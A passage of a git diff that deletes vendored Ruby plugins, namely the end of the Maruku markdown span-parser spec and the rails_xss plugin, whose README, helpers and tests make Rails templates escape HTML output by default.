-    ["![a](url)",  [md_im_image(['a'],'url')], 'Image no title'],
-    ["![a]( url )" ],
-    ["![a] (	url )" ],
-    ["![a] (	url)" ],
-
-    ["![a](url 'ti\"tle')",  [md_im_image(['a'],'url','ti"tle')], 'Image with title'],
-    ['![a]( url "ti\\"tle")' ],
-
-    ["![a](url", :raise, 'Invalid images'],
-    ["![a( url )" ],
-    ["![a] ('url )" ],
-
-    ["![a][imref]",  [md_image(['a'],'imref')], 'Image with ref'],
-    ["![a][ imref]"],
-    ["![a][ imref ]"],
-    ["![a][\timref\t]"],
-
-
-    ['<http://example.com/?foo=1&bar=2>',
-      [md_url('http://example.com/?foo=1&bar=2')], 'Immediate link'],
-    ['a<http://example.com/?foo=1&bar=2>b',
-      ['a',md_url('http://example.com/?foo=1&bar=2'),'b']  ],
-    ['<andrea@censi.org>',
-      [md_email('andrea@censi.org')], 'Email address'],
-    ['<mailto:andrea@censi.org>'],
-    ["Developmen <http://rubyforge.org/projects/maruku/>",
-      ["Developmen ", md_url("http://rubyforge.org/projects/maruku/")]],
-    ["a<!-- -->b", ['a',md_html('<!-- -->'),'b'],
-      'HTML Comment'],
-
-    ["a<!--", :raise, 'Bad HTML Comment'],
-    ["a<!-- ", :raise, 'Bad HTML Comment'],
-
-    ["<?xml <?!--!`3  ?>", [md_xml_instr('xml','<?!--!`3')], 'XML processing instruction'],
-    ["<? <?!--!`3  ?>", [md_xml_instr('','<?!--!`3')] ],
-
-    ["<? ", :raise, 'Bad Server directive'],
-
-    ["a <b", :raise, 'Bad HTML 1'],
-    ["<b",   :raise, 'Bad HTML 2'],
-    ["<b!",  :raise, 'Bad HTML 3'],
-    ['`<div>`, `<table>`, `<pre>`, `<p>`',
-      [md_code('<div>'),', ',md_code('<table>'),', ',
-        md_code('<pre>'),', ',md_code('<p>')],
-      'Multiple HTML tags'],
-
-    ["&andrea", ["&andrea"], 'Parsing of entities'],
-    # no escaping is allowed
-    # ["\\&andrea;", ["&andrea;"]],
-    ["l&andrea;", ["l", md_entity('andrea')] ],
-    ["&&andrea;", ["&", md_entity('andrea')] ],
-    ["&123;;&amp;",[md_entity('123'),';',md_entity('amp')]],
-
-    ["a\nThe [syntax page] [s] provides",
-      ['a The ', md_link(['syntax page'],'s'), ' provides'], 'Regression'],
-
-    ['![a](url "ti"tle")', [md_im_image(['a'],'url','ti"tle')],
-      "Image with quotes"],
-    ['![a](url \'ti"tle\')' ],
-
-    ['[bar](/url/ "Title with "quotes" inside")',
-      [md_im_link(["bar"],'/url/', 'Title with "quotes" inside')],
-      "Link with quotes"],
-  ]
-end
-
-EXPECTATIONS.each_cons(2) {|l, r| r[1] ||= l[1]}
-
-describe "The Maruku span parser" do
-  before(:each) do
-    @doc = Maruku.new
-    @doc.attributes[:on_error] = :raise
-  end
-
-  EXPECTATIONS.each do |md, res, comment|
-    if res == :raise
-      it "should raise an error for \"#{md}\"" do
-        lambda {@doc.parse_span_better(md)}.should raise_error(Maruku::Exception)
-      end
-    else
-      it "should parse \"#{md}\" as #{res.inspect}" do
-        @doc.parse_span_better(md).should == res
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/spec/spec_helper.rb b/vendor/plugins/maruku/spec/spec_helper.rb
deleted file mode 100644
index 0819695a..00000000
--- a/vendor/plugins/maruku/spec/spec_helper.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'rubygems'
-require 'rspec'
-
-lib_dir = File.dirname(__FILE__) + "/../lib"
-$:.unshift lib_dir unless $:.include?(lib_dir)
-$: << File.dirname(__FILE__) + "/../../syntax/lib/"
-require 'maruku'
diff --git a/vendor/plugins/rails_xss/MIT-LICENSE b/vendor/plugins/rails_xss/MIT-LICENSE
deleted file mode 100644
index ed44a7bd..00000000
--- a/vendor/plugins/rails_xss/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2009 Koziarski Software Ltd.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/plugins/rails_xss/README.markdown b/vendor/plugins/rails_xss/README.markdown
deleted file mode 100644
index 37cfd8f6..00000000
--- a/vendor/plugins/rails_xss/README.markdown
+++ /dev/null
@@ -1,90 +0,0 @@
-RailsXss
-========
-
-This plugin replaces the default ERB template handlers with erubis, and switches the behaviour to escape by default rather than requiring you to escape.  This is consistent with the behaviour in Rails 3.0.
-
-Strings now have a notion of "html safe",  which is false by default.  Whenever rails copies a string into the response body it checks whether or not the string is safe, safe strings are copied verbatim into the response body, but unsafe strings are escaped first.  
-
-All the XSS-proof helpers like link_to and form_tag now return safe strings, and will continue to work unmodified.  If you have your own helpers which return strings you *know* are safe,  you will need to explicitly tell rails that they're safe.  For an example, take the following helper.
-
-    
-    def some_helper
-      (1..5).map do |i|
-        "<li>#{i}</li>"
-      end.join("\n")
-    end
-
-With this plugin installed, the html will be escaped.  So you will need to do one of the following:
-
-1) Use the raw helper in your template.  raw will ensure that your string is copied verbatim into the response body.
-
-    <%= raw some_helper %>
-
-2) Mark the string as safe in the helper itself:
-
-    def some_helper
-      (1..5).map do |i|
-        "<li>#{i}</li>"
-      end.join("\n").html_safe
-    end
-  
-3) Use the safe_helper meta programming method:
-
-    module ApplicationHelper
-      def some_helper
-        #...
-      end
-      safe_helper :some_helper
-    end  
-
-Example
--------
-
-BEFORE:
-
-    <%= params[:own_me] %>        => XSS attack
-    <%=h params[:own_me] %>       => No XSS
-    <%= @blog_post.content %>     => Displays the HTML
-                                
-AFTER:                          
-
-    <%= params[:own_me] %>        => No XSS 
-    <%=h params[:own_me] %>       => No XSS (same result)
-    <%= @blog_post.content %>     => *escapes* the HTML
-    <%= raw @blog_post.content %> => Displays the HTML
-  
-  
-Gotchas
----
-
-#### textilize and simple_format do *not* return safe strings
-
-Both these methods support arbitrary HTML and are *not* safe to embed directly in your document.  You'll need to do something like:
-
-    <%= sanitize(textilize(@blog_post.content_textile)) %>
-
-#### Safe strings aren't magic.
-
-Once a string has been marked as safe, the only operations which will maintain that HTML safety are String#<<, String#concat and String#+.  All other operations are safety ignorant so it's still probably possible to break your app if you're doing something like
-
-    value = something_safe
-    value.gsub!(/a/, params[:own_me])
-
-Don't do that.
-
-#### String interpolation won't be safe, even when it 'should' be
-
-    value = "#{something_safe}#{something_else_safe}"
-    value.html_safe? # => false
-  
-This is intended functionality and can't be fixed.
-
-Getting Started
-===============
-
-1. Install rails 2.3.8 or higher, or freeze rails from 2-3-stable.
-2. Install erubis (gem install erubis)
-3. Install this plugin (ruby script/plugin install git://github.com/rails/rails_xss.git)
-4. Report anything that breaks.
-
-Copyright (c) 2009 Koziarski Software Ltd, released under the MIT license. For full details see MIT-LICENSE included in this distribution.
diff --git a/vendor/plugins/rails_xss/Rakefile b/vendor/plugins/rails_xss/Rakefile
deleted file mode 100644
index 929ecbb8..00000000
--- a/vendor/plugins/rails_xss/Rakefile
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'rake'
-require 'rake/testtask'
-require 'rake/rdoctask'
-
-desc 'Default: run unit tests.'
-task :default => :test
-
-desc 'Test the rails_xss plugin.'
-Rake::TestTask.new(:test) do |t|
-  t.libs << 'lib'
-  t.libs << 'test'
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-end
-
-desc 'Generate documentation for the rails_xss plugin.'
-Rake::RDocTask.new(:rdoc) do |rdoc|
-  rdoc.rdoc_dir = 'rdoc'
-  rdoc.title    = 'RailsXss'
-  rdoc.options << '--line-numbers' << '--inline-source'
-  rdoc.rdoc_files.include('README')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-end
diff --git a/vendor/plugins/rails_xss/init.rb b/vendor/plugins/rails_xss/init.rb
deleted file mode 100644
index 533eb1f3..00000000
--- a/vendor/plugins/rails_xss/init.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-unless $gems_rake_task
-  if Rails::VERSION::MAJOR >= 3
-    $stderr.puts "You don't need to install rails_xss as a plugin for Rails 3 and after."
-  elsif Rails::VERSION::MAJOR <= 2 && Rails::VERSION::MINOR <= 3 && Rails::VERSION::TINY <= 7
-    $stderr.puts "rails_xss requires Rails 2.3.8 or later. Please upgrade to enable automatic HTML safety."
-  else
-    require 'rails_xss'
-  end
-end
diff --git a/vendor/plugins/rails_xss/lib/rails_xss.rb b/vendor/plugins/rails_xss/lib/rails_xss.rb
deleted file mode 100644
index 46d1b9a4..00000000
--- a/vendor/plugins/rails_xss/lib/rails_xss.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-require 'rails_xss/erubis'
-require 'rails_xss/action_view'
-require 'rails_xss/string_ext'
diff --git a/vendor/plugins/rails_xss/lib/rails_xss/action_view.rb b/vendor/plugins/rails_xss/lib/rails_xss/action_view.rb
deleted file mode 100644
index 95cb0d4b..00000000
--- a/vendor/plugins/rails_xss/lib/rails_xss/action_view.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-module ActionView
-  class Base
-    def self.xss_safe?
-      true
-    end
-
-    module WithSafeOutputBuffer
-      # Rails version of with_output_buffer uses '' as the default buf
-      def with_output_buffer(buf = ActiveSupport::SafeBuffer.new) #:nodoc:
-        super buf
-      end
-    end
-
-    include WithSafeOutputBuffer
-  end
-
-  module Helpers
-    module CaptureHelper
-      def content_for(name, content = nil, &block)
-        ivar = "@content_for_#{name}"
-        content = capture(&block) if block_given?
-        instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{ERB::Util.h(content)}".html_safe)
-        nil
-      end
-    end    
-
-    module TextHelper
-      def concat(string, unused_binding = nil)
-        if unused_binding
-          ActiveSupport::Deprecation.warn("The binding argument of #concat is no longer needed.  Please remove it from your views and helpers.", caller)
-        end
-
-        output_buffer.concat(string)
-      end
-
-      def simple_format(text, html_options={})
-        start_tag = tag('p', html_options, true)
-        text = ERB::Util.h(text).to_str.dup
-        text.gsub!(/\r\n?/, "\n")                    # \r\n and \r -> \n
-        text.gsub!(/\n\n+/, "</p>\n\n#{start_tag}")  # 2+ newline  -> paragraph
-        text.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') # 1 newline   -> br
-        text.insert 0, start_tag
-        text.html_safe.safe_concat("</p>")
-      end
-    end
-
-    module TagHelper
-      private
-        def content_tag_string_with_escaping(name, content, options, escape = true)
-          content_tag_string_without_escaping(name, escape ? ERB::Util.h(content) : content, options, escape)
-        end
-        alias_method_chain :content_tag_string, :escaping
-    end
-
-    module UrlHelper
-      def link_to(*args, &block)
-        if block_given?
-          options      = args.first || {}
-          html_options = args.second
-          concat(link_to(capture(&block), options, html_options))
-        else
-          name         = args.first
-          options      = args.second || {}
-          html_options = args.third
-
-          url = url_for(options)
-
-          if html_options
-            html_options = html_options.stringify_keys
-            href = html_options['href']
-            convert_options_to_javascript!(html_options, url)
-            tag_options = tag_options(html_options)
-          else
-            tag_options = nil
-          end
-
-          href_attr = "href=\"#{url}\"" unless href
-          "<a #{href_attr}#{tag_options}>#{ERB::Util.h(name || url)}</a>".html_safe
-        end
-      end
-    end
-  end
-end
-
-module RailsXss
-  module SafeHelpers
-    def safe_helper(*names)
-      names.each do |helper_method_name|
-        aliased_target, punctuation = helper_method_name.to_s.sub(/([?!=])$/, ''), $1
-        module_eval <<-END
-          def #{aliased_target}_with_xss_safety#{punctuation}(*args, &block)
-            raw(#{aliased_target}_without_xss_safety#{punctuation}(*args, &block))
-          end
-        END
-        alias_method_chain helper_method_name, :xss_safety
-      end
-    end
-  end
-end
-
-Module.class_eval { include RailsXss::SafeHelpers }
diff --git a/vendor/plugins/rails_xss/lib/rails_xss/erubis.rb b/vendor/plugins/rails_xss/lib/rails_xss/erubis.rb
deleted file mode 100644
index c8171c66..00000000
--- a/vendor/plugins/rails_xss/lib/rails_xss/erubis.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'erubis/helpers/rails_helper'
-
-module RailsXss
-  class Erubis < ::Erubis::Eruby
-    def add_preamble(src)
-      src << "@output_buffer = ActiveSupport::SafeBuffer.new;"
-    end
-
-    def add_text(src, text)
-      return if text.empty?
-      src << "@output_buffer.safe_concat('" << escape_text(text) << "');"
-    end
-
-    BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
-
-    def add_expr_literal(src, code)
-      if code =~ BLOCK_EXPR
-        src << "@output_buffer.safe_concat((" << $1 << ").to_s);"
-      else
-        src << '@output_buffer << ((' << code << ').to_s);'
-      end
-    end
-
-    def add_expr_escaped(src, code)
-      src << '@output_buffer << ' << escaped_expr(code) << ';'
-    end
-
-    def add_postamble(src)
-      src << '@output_buffer.to_s'
-    end
-  end
-end
-
-Erubis::Helpers::RailsHelper.engine_class = RailsXss::Erubis
-Erubis::Helpers::RailsHelper.show_src = false
diff --git a/vendor/plugins/rails_xss/lib/rails_xss/string_ext.rb b/vendor/plugins/rails_xss/lib/rails_xss/string_ext.rb
deleted file mode 100644
index ed1aaa24..00000000
--- a/vendor/plugins/rails_xss/lib/rails_xss/string_ext.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require 'active_support/deprecation'
-
-ActiveSupport::SafeBuffer.class_eval do
-  def concat(value)
-    if value.html_safe?
-      super(value)
-    else
-      super(ERB::Util.h(value))
-    end
-  end
-  alias << concat
-  UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase"].freeze
-
-  for unsafe_method in UNSAFE_STRING_METHODS
-    class_eval <<-EOT, __FILE__, __LINE__
-      def #{unsafe_method}(*args)
-        super.to_str
-      end
-  
-      def #{unsafe_method}!(*args)
-        raise TypeError, "Cannot modify SafeBuffer in place"
-      end
-    EOT
-  end
-end
-
-class String
-  def html_safe?
-    defined?(@_rails_html_safe)
-  end
-
-  def html_safe!
-    ActiveSupport::Deprecation.warn("Use html_safe with your strings instead of html_safe! See http://yehudakatz.com/2010/02/01/safebuffers-and-rails-3-0/ for the full story.", caller)
-    @_rails_html_safe = true
-    self
-  end
-
-  def add_with_safety(other)
-    result = add_without_safety(other)
-    if html_safe? && also_html_safe?(other)
-      result.html_safe!
-    else
-      result
-    end
-  end
-  alias_method :add_without_safety, :+
-  alias_method :+, :add_with_safety
-
-  def concat_with_safety(other_or_fixnum)
-    result = concat_without_safety(other_or_fixnum)
-    unless html_safe? && also_html_safe?(other_or_fixnum)
-      remove_instance_variable(:@_rails_html_safe) if defined?(@_rails_html_safe)
-    end
-    result
-  end
-
-  alias_method_chain :concat, :safety
-  undef_method :<<
-  alias_method :<<, :concat_with_safety
-
-  private
-    def also_html_safe?(other)
-      other.respond_to?(:html_safe?) && other.html_safe?
-    end
-end
diff --git a/vendor/plugins/rails_xss/lib/tasks/rails_xss_tasks.rake b/vendor/plugins/rails_xss/lib/tasks/rails_xss_tasks.rake
deleted file mode 100644
index b8659f08..00000000
--- a/vendor/plugins/rails_xss/lib/tasks/rails_xss_tasks.rake
+++ /dev/null
@@ -1,4 +0,0 @@
-# desc "Explaining what the task does"
-# task :rails_xss do
-#   # Task goes here
-# end
diff --git a/vendor/plugins/rails_xss/test/active_record_helper_test.rb b/vendor/plugins/rails_xss/test/active_record_helper_test.rb
deleted file mode 100644
index 728ec0ac..00000000
--- a/vendor/plugins/rails_xss/test/active_record_helper_test.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require 'test_helper'
-
-class ActiveRecordHelperTest < ActionView::TestCase
-  silence_warnings do
-    Post = Struct.new("Post", :title, :author_name, :body, :secret, :written_on)
-    Post.class_eval do
-      alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
-      alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
-      alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
-    end
-  end
-
-  def setup_post
-    @post = Post.new
-    def @post.errors
-      Class.new {
-        def on(field)
-          case field.to_s
-          when "author_name"
-            "can't be empty"
-          when "body"
-            true
-          else
-            false
-          end
-        end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() [ "Author name can't be empty" ] end
-      }.new
-    end
-
-    def @post.new_record?() true end
-    def @post.to_param() nil end
-
-    def @post.column_for_attribute(attr_name)
-      Post.content_columns.select { |column| column.name == attr_name }.first
-    end
-
-    silence_warnings do
-      def Post.content_columns() [ Column.new(:string, "title", "Title"), Column.new(:text, "body", "Body") ] end
-    end
-
-    @post.title       = "Hello World"
-    @post.author_name = ""
-    @post.body        = "Back to the hill and over it again!"
-    @post.secret = 1
-    @post.written_on  = Date.new(2004, 6, 15)
-  end
-
-  def setup
-    setup_post
-
-    @response = ActionController::TestResponse.new
-
-    @controller = Object.new
-    def @controller.url_for(options)
-      options = options.symbolize_keys
-
-      [options[:action], options[:id].to_param].compact.join('/')
-    end
-  end
-
-  def test_text_field_with_errors_is_safe
-    assert text_field("post", "author_name").html_safe?
-  end
-
-  def test_text_field_with_errors
-    assert_dom_equal(
-      %(<div class="fieldWithErrors"><input id="post_author_name" name="post[author_name]" size="30" type="text" value="" /></div>),
-      text_field("post", "author_name")
-    )
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/asset_tag_helper_test.rb b/vendor/plugins/rails_xss/test/asset_tag_helper_test.rb
deleted file mode 100644
index f58feda3..00000000
--- a/vendor/plugins/rails_xss/test/asset_tag_helper_test.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'test_helper'
-
-class AssetTagHelperTest < ActionView::TestCase
-  def setup
-    @controller = Class.new do
-      attr_accessor :request
-      def url_for(*args) "http://www.example.com" end
-    end.new
-  end
-
-  def test_auto_discovery_link_tag
-    assert_dom_equal(%(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
-                     auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"}))
-  end
-
-  def test_javascript_include_tag_with_blank_asset_id
-    ENV["RAILS_ASSET_ID"] = ""
-    assert_dom_equal(%(<script src="/javascripts/test.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-                     javascript_include_tag("test", :defaults))
-  end
-
-  def test_javascript_include_tag_with_given_asset_id
-    ENV["RAILS_ASSET_ID"] = "1"
-    assert_dom_equal(%(<script src="/javascripts/prototype.js?1" type="text/javascript"></script>\n<script src="/javascripts/effects.js?1" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js?1" type="text/javascript"></script>\n<script src="/javascripts/controls.js?1" type="text/javascript"></script>\n<script src="/javascripts/application.js?1" type="text/javascript"></script>),
-                     javascript_include_tag(:defaults))
-    ENV["RAILS_ASSET_ID"] = ""
-  end
-
-  def test_javascript_include_tag_is_html_safe
-    assert javascript_include_tag(:defaults).html_safe?
-    assert javascript_include_tag("prototype").html_safe?
-  end
-
-  def test_stylesheet_link_tag
-    assert_dom_equal(%(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" type="text/css" />),
-                     stylesheet_link_tag("http://www.example.com/styles/style"))
-  end
-
-  def test_stylesheet_link_tag_is_html_safe
-    assert stylesheet_link_tag('dir/file').html_safe?
-    assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
-    assert stylesheet_tag('dir/file', {}).html_safe?
-  end
-
-  def test_image_tag
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />),
-                     image_tag("mouse.png", :mouseover => image_path("mouse_over.png")))
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/caching_test.rb b/vendor/plugins/rails_xss/test/caching_test.rb
deleted file mode 100644
index 3ea41e8b..00000000
--- a/vendor/plugins/rails_xss/test/caching_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'test_helper'
-
-CACHE_DIR = 'test_cache'
-# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
-FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
-ActionController::Base.page_cache_directory = FILE_STORE_PATH
-ActionController::Base.cache_store = :file_store, FILE_STORE_PATH
-
-class FragmentCachingTestController < ActionController::Base
-  def some_action; end;
-end
-
-class FragmentCachingTest < ActionController::TestCase
-  def setup
-    ActionController::Base.perform_caching = true
-    @store = ActiveSupport::Cache::MemoryStore.new
-    ActionController::Base.cache_store = @store
-    @controller = FragmentCachingTestController.new
-    @params = {:controller => 'posts', :action => 'index'}
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-    @controller.params = @params
-    @controller.request = @request
-    @controller.response = @response
-    @controller.send(:initialize_current_url)
-    @controller.send(:initialize_template_class, @response)
-    @controller.send(:assign_shortcuts, @request, @response)
-  end
-
-  def test_fragment_for
-    @store.write('views/expensive', 'fragment content')
-    fragment_computed = false
-
-    buffer = 'generated till now -> '.html_safe
-    @controller.fragment_for(buffer, 'expensive') { fragment_computed = true }
-
-    assert !fragment_computed
-    assert_equal 'generated till now -> fragment content', buffer
-  end
-
-  def test_html_safety
-    assert_nil @store.read('views/name')
-    content = 'value'.html_safe
-    assert_equal content, @controller.write_fragment('name', content)
-
-    cached = @store.read('views/name')
-    assert_equal content, cached
-    assert_equal String, cached.class
-
-    html_safe = @controller.read_fragment('name')
-    assert_equal content, html_safe
-    assert html_safe.html_safe?
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/content_for_test.rb b/vendor/plugins/rails_xss/test/content_for_test.rb
deleted file mode 100644
index 45ba6762..00000000
--- a/vendor/plugins/rails_xss/test/content_for_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'test_helper'
-
-class ContentForTest < ActionView::TestCase
-
-  def test_content_for_should_yield_html_safe_string
-    content_for(:testing, "Some <p>html</p>")
-    content = instance_variable_get(:"@content_for_testing")
-    assert content.html_safe?
-  end
-
-  def test_content_for_should_escape_content
-    content_for(:testing, "Some <p>html</p>")
-    content = instance_variable_get(:"@content_for_testing")
-    expected = %{Some &lt;p&gt;html&lt;/p&gt;}
-    assert_dom_equal expected, content
-  end
-
-  def test_content_for_should_not_escape_html_safe_content
-    content_for(:testing, "Some <p>html</p>".html_safe)
-    content = instance_variable_get(:"@content_for_testing")
-    expected = %{Some <p>html</p>}
-    assert_dom_equal expected, content
-  end
-
-  def test_content_for_should_escape_content_from_block
-    content_for(:testing){ "Some <p>html</p>" }
-    content = instance_variable_get(:"@content_for_testing")
-    expected = %{Some &lt;p&gt;html&lt;/p&gt;}
-    assert_dom_equal expected, content
-  end
-
-  def test_content_for_should_not_escape_html_safe_content_from_block
-    content_for(:testing){ "Some <p>html</p>".html_safe }
-    content = instance_variable_get(:"@content_for_testing")
-    expected = %{Some <p>html</p>}
-    assert_dom_equal expected, content
-  end
-
-end
diff --git a/vendor/plugins/rails_xss/test/date_helper_test.rb b/vendor/plugins/rails_xss/test/date_helper_test.rb
deleted file mode 100644
index daf01027..00000000
--- a/vendor/plugins/rails_xss/test/date_helper_test.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'test_helper'
-
-class DateHelperTest < ActionView::TestCase
-  silence_warnings do
-    Post = Struct.new("Post", :id, :written_on, :updated_at)
-  end
-
-  def test_select_html_safety
-    assert select_day(16).html_safe?
-    assert select_month(8).html_safe?
-    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-
-    assert select_minute(8, :use_hidden => true).html_safe?
-    assert select_month(8, :prompt => 'Choose month').html_safe?
-
-    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
-    assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
-  end
-  
-  def test_object_select_html_safety
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?    
-    assert time_select("post", "written_on", :ignore_date => true).html_safe?    
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/deprecated_output_safety_test.rb b/vendor/plugins/rails_xss/test/deprecated_output_safety_test.rb
deleted file mode 100644
index e16f7ce0..00000000
--- a/vendor/plugins/rails_xss/test/deprecated_output_safety_test.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-require 'test_helper'
-
-class DeprecatedOutputSafetyTest < ActiveSupport::TestCase
-  def setup
-    @string = "hello"
-  end
-
-  test "A string can be marked safe using html_safe!" do
-    assert_deprecated do
-      @string.html_safe!
-      assert @string.html_safe?
-    end
-  end
-
-  test "Marking a string safe returns the string using html_safe!" do
-    assert_deprecated do
-      assert_equal @string, @string.html_safe!
-    end
-  end
-
-  test "Adding a safe string to another safe string returns a safe string using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      @string.html_safe!
-      @combination = @other_string + @string
-
-      assert_equal "otherhello", @combination
-      assert @combination.html_safe?
-    end
-  end
-
-  test "Adding an unsafe string to a safe string returns an unsafe string using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      @combination = @other_string + "<foo>"
-      @other_combination = @string + "<foo>"
-
-      assert_equal "other<foo>", @combination
-      assert_equal "hello<foo>", @other_combination
-
-      assert !@combination.html_safe?
-      assert !@other_combination.html_safe?
-    end
-  end
-
-  test "Concatting safe onto unsafe yields unsafe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other"
-      @string.html_safe!
-
-      @other_string.concat(@string)
-      assert !@other_string.html_safe?
-    end
-  end
-
-  test "Concatting unsafe onto safe yields unsafe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      string = @other_string.concat("<foo>")
-      assert_equal "other<foo>", string
-      assert !string.html_safe?
-    end
-  end
-
-  test "Concatting safe onto safe yields safe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      @string.html_safe!
-
-      @other_string.concat(@string)
-      assert @other_string.html_safe?
-    end
-  end
-
-  test "Concatting safe onto unsafe with << yields unsafe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other"
-      @string.html_safe!
-
-      @other_string << @string
-      assert !@other_string.html_safe?
-    end
-  end
-
-  test "Concatting unsafe onto safe with << yields unsafe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      string = @other_string << "<foo>"
-      assert_equal "other<foo>", string
-      assert !string.html_safe?
-    end
-  end
-
-  test "Concatting safe onto safe with << yields safe using html_safe!" do
-    assert_deprecated do
-      @other_string = "other".html_safe!
-      @string.html_safe!
-
-      @other_string << @string
-      assert @other_string.html_safe?
-    end
-  end
-
-  test "Concatting a fixnum to safe always yields safe using html_safe!" do
-    assert_deprecated do
-      @string.html_safe!
-      @string.concat(13)
-      assert_equal "hello".concat(13), @string
-      assert @string.html_safe?
-    end
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/erb_util_test.rb b/vendor/plugins/rails_xss/test/erb_util_test.rb
deleted file mode 100644
index 9a04d38e..00000000
--- a/vendor/plugins/rails_xss/test/erb_util_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'test_helper'
-
-class ErbUtilTest < Test::Unit::TestCase
-  include ERB::Util
-
-  ERB::Util::HTML_ESCAPE.each do |given, expected|
-    define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
-      assert_equal expected, html_escape(given)
-    end
-
-    unless given == '"'
-      define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
-        assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
-      end
-    end
-  end
-  
-  def test_html_escape_is_html_safe
-    escaped = h("<p>")
-    assert_equal "&lt;p&gt;", escaped
-    assert escaped.html_safe?
-  end
-
-  def test_html_escape_passes_html_escpe_unmodified
-    escaped = h("<p>".html_safe)
-    assert_equal "<p>", escaped
-    assert escaped.html_safe?
-  end
-
-  def test_rest_in_ascii
-    (0..127).to_a.map {|int| int.chr }.each do |chr|
-      next if %w(& " < >).include?(chr)
-      assert_equal chr, html_escape(chr)
-    end
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/form_helper_test.rb b/vendor/plugins/rails_xss/test/form_helper_test.rb
deleted file mode 100644
index e5580d26..00000000
--- a/vendor/plugins/rails_xss/test/form_helper_test.rb
+++ /dev/null
@@ -1,1447 +0,0 @@
-require 'test_helper'
-
-silence_warnings do
-  Post = Struct.new(:title, :author_name, :body, :secret, :written_on, :cost)
-  Post.class_eval do
-    alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
